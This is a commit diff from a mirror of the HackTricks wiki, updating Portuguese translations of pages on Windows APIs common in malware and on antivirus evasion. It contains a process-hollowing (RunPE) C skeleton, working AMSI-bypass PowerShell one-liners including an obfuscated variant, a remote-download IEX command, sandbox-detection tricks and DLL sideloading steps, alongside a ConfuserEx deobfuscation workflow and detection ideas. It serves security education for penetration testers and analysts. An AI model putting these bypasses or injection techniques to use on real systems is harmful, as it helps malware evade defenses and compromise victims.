mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-
This commit is contained in:
Translator
parent
56dcb0d510
commit
54dc577188
@ -1,4 +1,4 @@
|
||||
# API Comum Usada em Malware
|
||||
# API Comum Usado em Malware
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -43,11 +43,11 @@
|
||||
| Nome da Função | Instruções de Assembly |
|
||||
| --------------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Verificar se um processo está em execução] | |
|
||||
| CreateFileW/A \[Verificar se um arquivo existe] | |
|
||||
| CreateFileW/A \[Verificar se um arquivo existe] | |
|
||||
|
||||
### Stealth
|
||||
|
||||
@ -67,7 +67,7 @@
|
||||
|
||||
| Nome da Função |
|
||||
| ------------------ |
|
||||
| CreateProcessA/W |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
| ResumeThread |
|
||||
@ -83,8 +83,8 @@
|
||||
- CreateToolhelp32Snapshot() -- Listar processos em execução
|
||||
- GetDC() -- Captura de tela
|
||||
- BitBlt() -- Captura de tela
|
||||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acesso à Internet
|
||||
- FindResource(), LoadResource(), LockResource() -- Acesso a recursos do executável
|
||||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acessar a Internet
|
||||
- FindResource(), LoadResource(), LockResource() -- Acessar recursos do executável
|
||||
|
||||
## Técnicas de Malware
|
||||
|
||||
@ -118,22 +118,73 @@ Encontrar uma thread de um processo e fazê-la carregar uma DLL maliciosa
|
||||
|
||||
Injeção de Execução Portátil: O executável será escrito na memória do processo da vítima e será executado a partir daí.
|
||||
|
||||
### Hollowing de Processo
|
||||
### Hollowing de Processo (a.k.a **RunPE**)
|
||||
|
||||
O malware irá desmapear o código legítimo da memória do processo e carregar um binário malicioso
|
||||
`Process Hollowing` é um dos truques favoritos de **evasão de defesa / execução** usados por malware do Windows. A ideia é lançar um processo *legítimo* no estado **suspenso**, remover (hollow) sua imagem original da memória e copiar um **PE arbitrário** em seu lugar. Quando a thread primária é finalmente retomada, o ponto de entrada malicioso é executado sob a aparência de um binário confiável (frequentemente assinado pela Microsoft).
|
||||
|
||||
1. Criar um novo processo: CreateProcess
|
||||
2. Desmapear a memória: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. Escrever o binário malicioso na memória do processo: VirtualAllocEc, WriteProcessMemory
|
||||
4. Definir o ponto de entrada e executar: SetThreadContext, ResumeThread
|
||||
Fluxo de trabalho típico:
|
||||
|
||||
1. Criar um host benigno (por exemplo, `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspenso** para que nenhuma instrução seja executada ainda.
|
||||
```c
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
```
|
||||
2. Ler a carga maliciosa na memória e analisar seus cabeçalhos PE para obter `SizeOfImage`, seções e o novo `EntryPoint`.
|
||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – desmapear a base da imagem original do processo suspenso.
|
||||
4. **VirtualAllocEx** – reservar memória RWX de `SizeOfImage` dentro do processo remoto.
|
||||
5. **WriteProcessMemory** – copiar os `Headers` primeiro, depois iterar sobre as seções copiando seus dados brutos.
|
||||
6. **SetThreadContext** – corrigir o valor de `EAX/RAX` (`RCX` em x64) ou `Rip` na estrutura de contexto para que `EIP` aponte para o `EntryPoint` da carga.
|
||||
7. **ResumeThread** – a thread continua, executando o código fornecido pelo atacante.
|
||||
|
||||
Esqueleto mínimo de prova de conceito (x86):
|
||||
```c
|
||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||||
// 1. create suspended process
|
||||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
|
||||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
||||
|
||||
// 2. read remote PEB to get ImageBaseAddress
|
||||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
|
||||
GetThreadContext(pi.hThread,&ctx);
|
||||
PVOID baseAddr;
|
||||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
|
||||
// 3. unmap original image & allocate new region at same base
|
||||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
|
||||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||||
// 4-5. copy headers & sections …
|
||||
// 6. write new image base into PEB and set Eip
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
// 7. run!
|
||||
ResumeThread(pi.hThread);
|
||||
}
|
||||
```
|
||||
Notas práticas observadas na campanha **DarkCloud Stealer**:
|
||||
|
||||
* O loader escolheu `RegAsm.exe` (parte do .NET Framework) como host – um binário assinado que provavelmente não chamará atenção.
|
||||
* O stealer VB6 decifrado (`holographies.exe`) *não* é gravado no disco; ele existe apenas dentro do processo oco, dificultando a detecção estática.
|
||||
* Strings sensíveis (regexes, caminhos, credenciais do Telegram) são **RC4-encriptadas** por string e só são decriptadas em tempo de execução, complicando ainda mais a varredura de memória.
|
||||
|
||||
Ideias de detecção:
|
||||
* Alertar sobre processos `CREATE_SUSPENDED` que nunca criam janelas GUI/console antes que uma região de memória seja alocada como **RWX** (raro para código benigno).
|
||||
* Procurar por uma sequência de chamadas `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` em diferentes processos.
|
||||
|
||||
## Hooking
|
||||
|
||||
- O **SSDT** (**Tabela de Descritores de Serviço do Sistema**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
|
||||
- A **SSDT** (**System Service Descriptor Table**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
|
||||
- Um rootkit pode modificar esses ponteiros para endereços que ele controla.
|
||||
- **IRP** (**Pacotes de Solicitação de I/O**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser hookada: DKOM (Manipulação Direta de Objetos do Kernel).
|
||||
- A **IAT** (**Tabela de Endereços de Importação**) é útil para resolver dependências. É possível hookar esta tabela para sequestrar o código que será chamado.
|
||||
- **EAT** (**Tabela de Endereços de Exportação**) Hooks. Esses hooks podem ser feitos a partir do **userland**. O objetivo é hookar funções exportadas por DLLs.
|
||||
- **Inline Hooks**: Este tipo é difícil de alcançar. Isso envolve modificar o código das próprias funções. Talvez colocando um salto no início delas.
|
||||
- **IRP** (**I/O Request Packets**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser hookada: DKOM (Manipulação Direta de Objetos do Kernel).
|
||||
- A **IAT** (**Import Address Table**) é útil para resolver dependências. É possível hookar essa tabela para sequestrar o código que será chamado.
|
||||
- **EAT** (**Export Address Table**) Hooks. Esses hooks podem ser feitos a partir do **userland**. O objetivo é hookar funções exportadas por DLLs.
|
||||
- **Inline Hooks**: Esse tipo é difícil de alcançar. Isso envolve modificar o código das próprias funções. Talvez colocando um salto no início delas.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -31,7 +31,7 @@ Se você criptografar o binário, não haverá como o AV detectar seu programa,
|
||||
Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.
|
||||
|
||||
> [!TIP]
|
||||
> Uma boa maneira de verificar a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em vários segmentos e, em seguida, pede ao Defender para escanear cada um individualmente, dessa forma, ele pode te dizer exatamente quais são as strings ou bytes sinalizados no seu binário.
|
||||
> Uma boa maneira de verificar a detecção estática do Windows Defender é o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em vários segmentos e, em seguida, pede ao Defender para escanear cada um individualmente, dessa forma, pode te dizer exatamente quais são as strings ou bytes sinalizados no seu binário.
|
||||
|
||||
Eu recomendo fortemente que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão prática de AV.
|
||||
|
||||
@ -41,9 +41,9 @@ A análise dinâmica é quando o AV executa seu binário em uma sandbox e observ
|
||||
|
||||
- **Dormir antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar longas pausas pode perturbar a análise de binários. O problema é que muitas sandboxes de AV podem simplesmente ignorar a pausa, dependendo de como é implementado.
|
||||
- **Verificando os recursos da máquina** Normalmente, as sandboxes têm muito poucos recursos para trabalhar (por exemplo, < 2GB de RAM), caso contrário, poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades do ventilador, nem tudo será implementado na sandbox.
|
||||
- **Verificações específicas da máquina** Se você quiser direcionar um usuário cuja estação de trabalho está unida ao domínio "contoso.local", você pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
|
||||
- **Verificações específicas da máquina** Se você quiser direcionar um usuário cuja estação de trabalho está unida ao domínio "contoso.local", pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, pode fazer seu programa sair.
|
||||
|
||||
Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador no seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do Defender, então você pode fazer seu programa sair.
|
||||
Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador no seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do Defender, então pode fazer seu programa sair.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
@ -55,10 +55,10 @@ Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão
|
||||
|
||||
Por exemplo, se você quiser despejar o LSASS, **você realmente precisa usar mimikatz**? Ou poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
|
||||
|
||||
A resposta certa é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das, se não a peça de malware mais sinalizada por AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
|
||||
A resposta certa é provavelmente a última. Tomando o mimikatz como exemplo, é provavelmente uma das, se não a peça de malware mais sinalizada por AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
|
||||
|
||||
> [!TIP]
|
||||
> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no Defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até que você esteja satisfeito com o resultado.
|
||||
> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no Defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até ficar satisfeito com o resultado.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
@ -70,11 +70,11 @@ Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecçã
|
||||
|
||||
Agora vamos mostrar alguns truques que você pode usar com arquivos DLL para ser muito mais furtivo.
|
||||
|
||||
## Sideloading de DLL & Proxying
|
||||
## Carregamento e Proxy de DLL
|
||||
|
||||
**Sideloading de DLL** aproveita a ordem de busca de DLL usada pelo carregador, posicionando tanto o aplicativo da vítima quanto o(s) payload(s) malicioso(s) lado a lado.
|
||||
**Carregamento de DLL** aproveita a ordem de busca de DLL usada pelo carregador, posicionando tanto o aplicativo da vítima quanto o(s) payload(s) malicioso(s) lado a lado.
|
||||
|
||||
Você pode verificar programas suscetíveis ao Sideloading de DLL usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte script do powershell:
|
||||
Você pode verificar programas suscetíveis ao Carregamento de DLL usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte script do powershell:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
|
||||
## AMSI (Interface de Varredura Anti-Malware)
|
||||
|
||||
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os antivírus eram capazes de escanear **arquivos no disco**, então, se você conseguisse executar payloads **diretamente na memória**, o antivírus não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
|
||||
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os AVs eram capazes de escanear **arquivos no disco**, então, se você conseguisse executar payloads **diretamente na memória**, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
|
||||
|
||||
O recurso AMSI está integrado nesses componentes do Windows.
|
||||
|
||||
@ -147,7 +147,7 @@ Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note como ele adiciona `amsi:` e, em seguida, o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe.
|
||||
Note como ele adiciona `amsi:` e então o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe
|
||||
|
||||
Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos na memória por causa do AMSI.
|
||||
|
||||
@ -167,7 +167,7 @@ Como o AMSI é implementado carregando uma DLL no processo do powershell (també
|
||||
|
||||
**Forçando um Erro**
|
||||
|
||||
Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em que nenhuma varredura será iniciada para o processo atual. Originalmente, isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir o uso mais amplo.
|
||||
Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em que nenhuma varredura será iniciada para o processo atual. Originalmente, isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir um uso mais amplo.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
@ -187,7 +187,7 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Tenha em mente que isso provavelmente será sinalizado assim que esta postagem for publicada, então você não deve publicar nenhum código se seu plano é permanecer indetectável.
|
||||
Mantenha em mente que isso provavelmente será sinalizado assim que esta postagem for publicada, então você não deve publicar nenhum código se seu plano é permanecer indetectável.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
@ -226,20 +226,54 @@ Para contornar o registro do PowerShell, você pode usar as seguintes técnicas:
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Várias técnicas de ofuscação dependem da criptografia de dados, o que aumentará a entropia do binário, tornando mais fácil para AVs e EDRs detectá-lo. Tenha cuidado com isso e talvez aplique criptografia apenas a seções específicas do seu código que são sensíveis ou precisam ser ocultadas.
|
||||
> Várias técnicas de ofuscação dependem da criptografia de dados, o que aumentará a entropia do binário, tornando mais fácil para AVs e EDRs detectá-lo. Tenha cuidado com isso e talvez aplique a criptografia apenas a seções específicas do seu código que são sensíveis ou precisam ser ocultadas.
|
||||
|
||||
Existem várias ferramentas que podem ser usadas para **ofuscar código em texto claro C#**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, como:
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): É um ótimo ofuscador de código aberto para aplicações .NET. Ele fornece várias técnicas de proteção, como ofuscação de fluxo de controle, anti-debugging, anti-tampering e criptografia de strings. É recomendado porque permite até ofuscar partes específicas do código.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador C#**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto da suíte de compilação [LLVM](http://www.llvm.org/) capaz de fornecer maior segurança de software por meio de [ofuscação de código](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e proteção contra adulteração.
|
||||
Ao analisar malware que usa ConfuserEx 2 (ou forks comerciais), é comum enfrentar várias camadas de proteção que bloquearão decompiladores e sandboxes. O fluxo de trabalho abaixo restaura de forma confiável um **IL quase original** que pode ser posteriormente decompilado para C# em ferramentas como dnSpy ou ILSpy.
|
||||
|
||||
1. Remoção de anti-tampering – O ConfuserEx criptografa cada *corpo de método* e o descriptografa dentro do *construtor* estático do *módulo* (`<Module>.cctor`). Isso também corrige a soma de verificação PE, então qualquer modificação fará o binário travar. Use **AntiTamperKiller** para localizar as tabelas de metadados criptografadas, recuperar as chaves XOR e reescrever um assembly limpo:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
A saída contém os 6 parâmetros anti-tamper (`key0-key3`, `nameHash`, `internKey`) que podem ser úteis ao construir seu próprio descompactador.
|
||||
|
||||
2. Recuperação de símbolos / fluxo de controle – forneça o arquivo *limpo* para **de4dot-cex** (um fork do de4dot ciente do ConfuserEx).
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – selecione o perfil do ConfuserEx 2
|
||||
• o de4dot desfará a achatamento do fluxo de controle, restaurará namespaces, classes e nomes de variáveis originais e descriptografará strings constantes.
|
||||
|
||||
3. Remoção de chamadas proxy – O ConfuserEx substitui chamadas de método diretas por wrappers leves (também conhecidos como *chamadas proxy*) para quebrar ainda mais a decompilação. Remova-os com **ProxyCall-Remover**:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
Após esta etapa, você deve observar APIs normais do .NET, como `Convert.FromBase64String` ou `AES.Create()` em vez de funções de wrapper opacas (`Class8.smethod_10`, …).
|
||||
|
||||
4. Limpeza manual – execute o binário resultante no dnSpy, procure grandes blobs Base64 ou uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar a carga *real*. Muitas vezes, o malware armazena isso como um array de bytes codificado em TLV inicializado dentro de `<Module>.byte_0`.
|
||||
|
||||
A cadeia acima restaura o fluxo de execução **sem** precisar executar a amostra maliciosa – útil ao trabalhar em uma estação de trabalho offline.
|
||||
|
||||
> 🛈 O ConfuserEx produz um atributo personalizado chamado `ConfusedByAttribute` que pode ser usado como um IOC para triagem automática de amostras.
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador C#**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto da suíte de compilação [LLVM](http://www.llvm.org/) capaz de oferecer maior segurança de software através da [ofuscação de código](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e proteção contra adulteração.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, em tempo de compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador binário x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame é um simples motor de código metamórfico para executáveis arbitrários.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
@ -262,7 +296,7 @@ Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em contêineres de saída para evitar o Mark-of-the-Web.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em contêineres de saída para evadir o Mark-of-the-Web.
|
||||
|
||||
Exemplo de uso:
|
||||
```bash
|
||||
@ -308,13 +342,13 @@ A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc,
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Isso envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que, se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
|
||||
Isso envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Trata-se de injetar o código malicioso de pós-exploração **em seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e ser escaneado pelo AV, mas a desvantagem é que, se algo der errado com a execução de sua carga útil, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
|
||||
Trata-se de injetar o código malicioso de pós-exploração **em seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e ser escaneado pelo AV, mas a desvantagem é que se algo der errado com a execução de sua carga útil, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -325,17 +359,17 @@ Você também pode carregar Assemblies C# **do PowerShell**, confira [Invoke-Sha
|
||||
|
||||
## Usando Outras Linguagens de Programação
|
||||
|
||||
Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo atacante**.
|
||||
Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo Atacante**.
|
||||
|
||||
Ao permitir acesso aos binários do interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens dentro da memória** da máquina comprometida.
|
||||
Ao permitir acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens dentro da memória** da máquina comprometida.
|
||||
|
||||
O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso aleatórios não ofuscados nessas linguagens mostraram-se bem-sucedidos.
|
||||
O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso aleatórios não ofuscados nessas linguagens foram bem-sucedidos.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping é uma técnica que permite a um atacante **manipular o token de acesso ou um produto de segurança como um EDR ou AV**, permitindo que eles reduzam seus privilégios para que o processo não morra, mas não tenha permissões para verificar atividades maliciosas.
|
||||
|
||||
Para prevenir isso, o Windows poderia **impedir processos externos** de obter handles sobre os tokens de processos de segurança.
|
||||
Para prevenir isso, o Windows poderia **impedir que processos externos** obtivessem handles sobre os tokens de processos de segurança.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -353,7 +387,7 @@ Como descrito em [**este post do blog**](https://trustedsec.com/blog/abusing-chr
|
||||
|
||||
## Evasão Avançada
|
||||
|
||||
Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em um único sistema, então é praticamente impossível permanecer completamente indetectado em ambientes maduros.
|
||||
Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
|
||||
|
||||
Cada ambiente contra o qual você vai terá seus próprios pontos fortes e fracos.
|
||||
|
||||
@ -373,8 +407,8 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Verifique quais partes o Defender considera maliciosas**
|
||||
|
||||
Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **removerá partes do binário** até que **descubra qual parte o Defender** está considerando maliciosa e dividirá para você.\
|
||||
Outra ferramenta que faz **a mesma coisa é** [**avred**](https://github.com/dobin/avred) com um site aberto oferecendo o serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **removerá partes do binário** até **descobrir qual parte o Defender** está considerando maliciosa e dividirá para você.\
|
||||
Outra ferramenta que faz **a mesma coisa é** [**avred**](https://github.com/dobin/avred) com um serviço web aberto oferecendo o serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Servidor Telnet**
|
||||
|
||||
@ -530,6 +564,10 @@ catch (Exception err) { }
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
